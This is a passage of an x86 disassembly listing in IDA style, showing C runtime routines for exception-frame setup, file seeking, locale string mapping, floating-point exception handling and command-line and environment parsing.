		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_418DC2
		or	[ebp+var_4], 0FFFFFFFFh


loc_41DFB2:				; CODE XREF: sub_41DF6B+2Aj
					; sub_41DF6B+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DF6B	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41E04C

; =============== S U B	R O U T	I N E =======================================



sub_41DFD2	proc near		; CODE XREF: sub_41DDA7+8Fp
					; sub_41DDA7+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41DFF3
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41DFF3:				; CODE XREF: sub_41DFD2+12j
		pop	esi
		retn
sub_41DFD2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E000	proc near		; CODE XREF: sub_418E55+40p
					; sub_41DB42+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_419141
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41E03F
		mov	ecx, 2


loc_41E03F:				; CODE XREF: sub_41E000+38j
		push	ecx
		call	sub_419141
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41E000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E04C	proc near		; CODE XREF: sub_41D896:loc_41DA38j
					; sub_41DBE0:loc_41DBF1j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004202A0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238D0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4D877C
		test	eax, eax
		jz	short loc_41E094
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41E090
; ---------------------------------------------------------------------------


loc_41E089:				; DATA XREF: nsp0:004238E0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E08D:				; DATA XREF: nsp0:004238E4o
		mov	esp, [ebp+var_18]


loc_41E090:				; CODE XREF: sub_41E04C+3Bj
		and	[ebp+var_4], 0


loc_41E094:				; CODE XREF: sub_41E04C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41E09D:				; DATA XREF: nsp0:004238D8o
		jmp	loc_4202A0
sub_41E04C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0A2	proc near		; CODE XREF: sub_418FF7+23p
					; sub_418FF7:loc_419062p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238E8
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43B154
		test	eax, eax
		jz	short loc_41E0EA
		mov	[ebp+var_4], 1
		call	eax ; sub_41E04C
		jmp	short loc_41E0E6
; ---------------------------------------------------------------------------


loc_41E0DF:				; DATA XREF: nsp0:004238F8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E0E3:				; DATA XREF: nsp0:004238FCo
		mov	esp, [ebp+var_18]


loc_41E0E6:				; CODE XREF: sub_41E0A2+3Bj
		and	[ebp+var_4], 0


loc_41E0EA:				; CODE XREF: sub_41E0A2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41E0F3:				; DATA XREF: nsp0:004238F0o
		jmp	sub_41E04C
sub_41E0A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0F8	proc near		; CODE XREF: sub_4194D3+7p
					; sub_4194D3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41A027
		test	eax, eax
		pop	ecx
		jz	short loc_41E110
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_41E110:				; CODE XREF: sub_41E0F8+Ej
		push	esi
		push	0
		push	dword_4D9D60
		call	dword_423058	; RtlSizeHeap
		pop	esi
		retn
sub_41E0F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E121	proc near		; CODE XREF: sub_419581+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41E1DD
		cmp	ebx, 8Ah
		jg	loc_41E1DD
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43B61C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41E160
		cmp	edi, 2
		jle	short loc_41E160
		inc	esi


loc_41E160:				; CODE XREF: sub_41E121+37j
					; sub_41E121+3Cj
		call	sub_4202B7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43B538
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41E1D3
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41E1D9
		cmp	dword_43B53C, 0
		jz	short loc_41E1D9
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42052A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41E1D9


loc_41E1D3:				; CODE XREF: sub_41E121+90j
		add	ecx, dword_43B540


loc_41E1D9:				; CODE XREF: sub_41E121+96j
					; sub_41E121+9Fj ...
		mov	eax, ecx
		jmp	short loc_41E1E0
; ---------------------------------------------------------------------------


loc_41E1DD:				; CODE XREF: sub_41E121+13j
					; sub_41E121+1Fj
		or	eax, 0FFFFFFFFh


loc_41E1E0:				; CODE XREF: sub_41E121+BAj
		pop	ebx
		leave
		retn
sub_41E121	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1E3	proc near		; CODE XREF: sub_4196EC+67p
					; sub_41AC01+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4D9B20
		push	esi
		push	edi
		jnb	short loc_41E265
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4D9A20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E265
		push	eax
		call	sub_41F1D6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E227
		mov	dword_4D86D0, 9
		jmp	short loc_41E276
; ---------------------------------------------------------------------------


loc_41E227:				; CODE XREF: sub_41E1E3+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_42311C	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E247
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E247:				; CODE XREF: sub_41E1E3+5Aj
		xor	eax, eax


loc_41E249:				; CODE XREF: sub_41E1E3+62j
		test	eax, eax
		jz	short loc_41E256
		push	eax
		call	sub_41BEC4
		pop	ecx
		jmp	short loc_41E276
; ---------------------------------------------------------------------------


loc_41E256:				; CODE XREF: sub_41E1E3+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E279
; ---------------------------------------------------------------------------


loc_41E265:				; CODE XREF: sub_41E1E3+Dj
					; sub_41E1E3+2Aj
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_41E276:				; CODE XREF: sub_41E1E3+42j
					; sub_41E1E3+71j
		or	eax, 0FFFFFFFFh


loc_41E279:				; CODE XREF: sub_41E1E3+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E1E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E27D	proc near		; CODE XREF: sub_4196EC+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E299
		mov	[edi+4], ebx


loc_41E299:				; CODE XREF: sub_41E27D+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E307
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E2BE
		sub	eax, [edi+4]
		jmp	loc_41E3D0
; ---------------------------------------------------------------------------


loc_41E2BE:				; CODE XREF: sub_41E27D+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E2F8
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4D9A20[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E30F
		mov	edx, ecx


loc_41E2E9:				; CODE XREF: sub_41E27D+79j
		cmp	edx, eax
		jnb	short loc_41E30F
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E2F5
		inc	[ebp+var_8]


loc_41E2F5:				; CODE XREF: sub_41E27D+73j
		inc	edx
		jmp	short loc_41E2E9
; ---------------------------------------------------------------------------


loc_41E2F8:				; CODE XREF: sub_41E27D+50j
		test	dl, 80h
		jnz	short loc_41E30F
		mov	dword_4D86D0, 16h


loc_41E307:				; CODE XREF: sub_41E27D+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E3D0
; ---------------------------------------------------------------------------


loc_41E30F:				; CODE XREF: sub_41E27D+68j
					; sub_41E27D+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E31D
		mov	eax, [ebp+var_8]
		jmp	loc_41E3D0
; ---------------------------------------------------------------------------


loc_41E31D:				; CODE XREF: sub_41E27D+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E3C8
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E336
		and	[ebp+var_8], edx
		jmp	loc_41E3C8
; ---------------------------------------------------------------------------


loc_41E336:				; CODE XREF: sub_41E27D+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E3C2
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E389
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41E374:				; CODE XREF: sub_41E27D+104j
		cmp	eax, ecx
		jnb	short loc_41E383
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E380
		inc	[ebp+arg_0]


loc_41E380:				; CODE XREF: sub_41E27D+FEj
		inc	eax
		jmp	short loc_41E374
; ---------------------------------------------------------------------------


loc_41E383:				; CODE XREF: sub_41E27D+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E389:				; CODE XREF: sub_41E27D+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E1E3
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E3B0
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E3B0
		test	ch, 4
		jz	short loc_41E3B3


loc_41E3B0:				; CODE XREF: sub_41E27D+124j
					; sub_41E27D+12Cj
		mov	eax, [edi+18h]


loc_41E3B3:				; CODE XREF: sub_41E27D+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41E3BD:				; CODE XREF: sub_41E27D+10Aj
		jz	short loc_41E3C2
		inc	[ebp+arg_0]


loc_41E3C2:				; CODE XREF: sub_41E27D+D9j
					; sub_41E27D:loc_41E3BDj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41E3C8:				; CODE XREF: sub_41E27D+A4j
					; sub_41E27D+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41E3D0:				; CODE XREF: sub_41E27D+3Cj
					; sub_41E27D+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E27D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3D5	proc near		; CODE XREF: sub_419A9C+A3p
					; sub_41BBCD+BEp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423908
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4D87A0, edi
		jnz	short loc_41E44B
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_423900
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_423050	; LCMapStringW
		test	eax, eax
		jz	short loc_41E429
		mov	dword_4D87A0, ebx
		jmp	short loc_41E44B
; ---------------------------------------------------------------------------


loc_41E429:				; CODE XREF: sub_41E3D5+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4C96C8
		push	esi
		push	edi
		call	dword_423054	; LCMapStringA
		test	eax, eax
		jz	loc_41E563
		mov	dword_4D87A0, 2


loc_41E44B:				; CODE XREF: sub_41E3D5+2Ej
					; sub_41E3D5+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E460
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41E5F9
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41E460:				; CODE XREF: sub_41E3D5+79j
		mov	eax, dword_4D87A0
		cmp	eax, 2
		jnz	short loc_41E487
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423054	; LCMapStringA
		jmp	loc_41E565
; ---------------------------------------------------------------------------


loc_41E487:				; CODE XREF: sub_41E3D5+93j
		cmp	eax, 1
		jnz	loc_41E563
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E49D
		mov	eax, dword_4D8798
		mov	[ebp+arg_18], eax


loc_41E49D:				; CODE XREF: sub_41E3D5+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E563
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E4F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41E4F8:				; CODE XREF: sub_41E3D5+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E563
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41E563
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423050	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E563
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E577
		cmp	[ebp+arg_14], edi
		jz	loc_41E5F2
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E563
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423050	; LCMapStringW
		test	eax, eax
		jnz	loc_41E5F2


loc_41E563:				; CODE XREF: sub_41E3D5+66j
					; sub_41E3D5+B5j ...
		xor	eax, eax


loc_41E565:				; CODE XREF: sub_41E3D5+ADj
					; sub_41E3D5+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E577:				; CODE XREF: sub_41E3D5+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E5AB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41E5AB:				; CODE XREF: sub_41E3D5+1C2j
		cmp	ebx, edi
		jz	short loc_41E563
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423050	; LCMapStringW
		test	eax, eax
		jz	short loc_41E563
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E5D2
		push	edi
		push	edi
		jmp	short loc_41E5D8
; ---------------------------------------------------------------------------


loc_41E5D2:				; CODE XREF: sub_41E3D5+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41E5D8:				; CODE XREF: sub_41E3D5+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_423160	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E563


loc_41E5F2:				; CODE XREF: sub_41E3D5+165j
					; sub_41E3D5+188j
		mov	eax, esi
		jmp	loc_41E565
sub_41E3D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E5F9	proc near		; CODE XREF: sub_41E3D5+81p
					; sub_4219AF+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41E616


loc_41E609:				; CODE XREF: sub_41E5F9+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41E616
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41E609


loc_41E616:				; CODE XREF: sub_41E5F9+Ej
					; sub_41E5F9+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41E621
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41E621:				; CODE XREF: sub_41E5F9+21j
		mov	eax, edx
		retn
sub_41E5F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E624	proc near		; CODE XREF: nsp0:00419D66p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41E765
		test	eax, eax
		pop	ecx
		jz	loc_41E759
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41E759
		cmp	ebx, 5
		jnz	short loc_41E655
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41E762
; ---------------------------------------------------------------------------


loc_41E655:				; CODE XREF: sub_41E624+23j
		cmp	ebx, 1
		jz	loc_41E754
		mov	ecx, dword_4D87A4
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D87A4, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41E744
		mov	ecx, dword_43B1D0
		mov	edx, dword_43B1D4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41E6A4
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43B160h[esi*4]


loc_41E69B:				; CODE XREF: sub_41E624+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41E69B


loc_41E6A4:				; CODE XREF: sub_41E624+69j
		mov	eax, [eax]
		mov	esi, dword_43B1DC
		cmp	eax, 0C000008Eh
		jnz	short loc_41E6BF
		mov	dword_43B1DC, 83h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6BF:				; CODE XREF: sub_41E624+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41E6D2
		mov	dword_43B1DC, 81h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6D2:				; CODE XREF: sub_41E624+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41E6E5
		mov	dword_43B1DC, 84h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6E5:				; CODE XREF: sub_41E624+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41E6F8
		mov	dword_43B1DC, 85h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E6F8:				; CODE XREF: sub_41E624+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41E70B
		mov	dword_43B1DC, 82h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E70B:				; CODE XREF: sub_41E624+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41E71E
		mov	dword_43B1DC, 86h
		jmp	short loc_41E72F
; ---------------------------------------------------------------------------


loc_41E71E:				; CODE XREF: sub_41E624+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41E72F
		mov	dword_43B1DC, 8Ah


loc_41E72F:				; CODE XREF: sub_41E624+99j
					; sub_41E624+ACj ...
		push	dword_43B1DC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43B1DC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41E74C
; ---------------------------------------------------------------------------


loc_41E744:				; CODE XREF: sub_41E624+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41E74C:				; CODE XREF: sub_41E624+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4D87A4, eax


loc_41E754:				; CODE XREF: sub_41E624+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E762
; ---------------------------------------------------------------------------


loc_41E759:				; CODE XREF: sub_41E624+Fj
					; sub_41E624+1Aj
		push	[ebp+arg_4]
		call	dword_42304C	; UnhandledExceptionFilter


loc_41E762:				; CODE XREF: sub_41E624+2Cj
					; sub_41E624+133j
		pop	ebx
		pop	ebp
		retn
sub_41E624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E765	proc near		; CODE XREF: sub_41E624+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43B1D8
		cmp	dword_43B158, edx
		push	esi
		mov	eax, offset dword_43B158
		jz	short loc_41E792
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43B158h[esi*4]


loc_41E787:				; CODE XREF: sub_41E765+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41E792
		cmp	[eax], edx
		jnz	short loc_41E787


loc_41E792:				; CODE XREF: sub_41E765+16j
					; sub_41E765+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43B158h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41E7A5
		cmp	[eax], edx
		jz	short locret_41E7A7


loc_41E7A5:				; CODE XREF: sub_41E765+3Aj
		xor	eax, eax

locret_41E7A7:				; CODE XREF: sub_41E765+3Ej
		retn
sub_41E765	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E7A8	proc near		; CODE XREF: nsp0:00419D28p
		cmp	dword_4D9D6C, 0
		jnz	short loc_41E7B6
		call	sub_41BD52


loc_41E7B6:				; CODE XREF: sub_41E7A8+7j
		push	esi
		mov	esi, dword_4D9D64
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41E7E8


loc_41E7C3:				; CODE XREF: sub_41E7A8+33j
					; sub_41E7A8+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41E7E0
		test	al, al
		jz	short loc_41E7E0
		movzx	eax, al
		push	eax
		call	sub_420816
		test	eax, eax
		pop	ecx
		jz	short loc_41E7C3
		inc	esi
		jmp	short loc_41E7C3
; ---------------------------------------------------------------------------


loc_41E7E0:				; CODE XREF: sub_41E7A8+21j
					; sub_41E7A8+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41E7F2


loc_41E7E5:				; CODE XREF: sub_41E7A8+52j
		inc	esi
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7E8:				; CODE XREF: sub_41E7A8+19j
		cmp	al, 20h
		jbe	short loc_41E7F2


loc_41E7EC:				; CODE XREF: sub_41E7A8+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41E7EC


loc_41E7F2:				; CODE XREF: sub_41E7A8+3Bj
					; sub_41E7A8+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41E7FC
		cmp	al, 20h
		jbe	short loc_41E7E5


loc_41E7FC:				; CODE XREF: sub_41E7A8+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41E7A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E800	proc near		; CODE XREF: nsp0:00419D11p
		push	ebx
		xor	ebx, ebx
		cmp	dword_4D9D6C, ebx
		push	esi
		push	edi
		jnz	short loc_41E812
		call	sub_41BD52


loc_41E812:				; CODE XREF: sub_41E800+Bj
		mov	esi, dword_4D8740
		xor	edi, edi


loc_41E81A:				; CODE XREF: sub_41E800+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41E832
		cmp	al, 3Dh
		jz	short loc_41E825
		inc	edi


loc_41E825:				; CODE XREF: sub_41E800+22j
		push	esi
		call	sub_4176F0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41E81A
; ---------------------------------------------------------------------------


loc_41E832:				; CODE XREF: sub_41E800+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417A2B
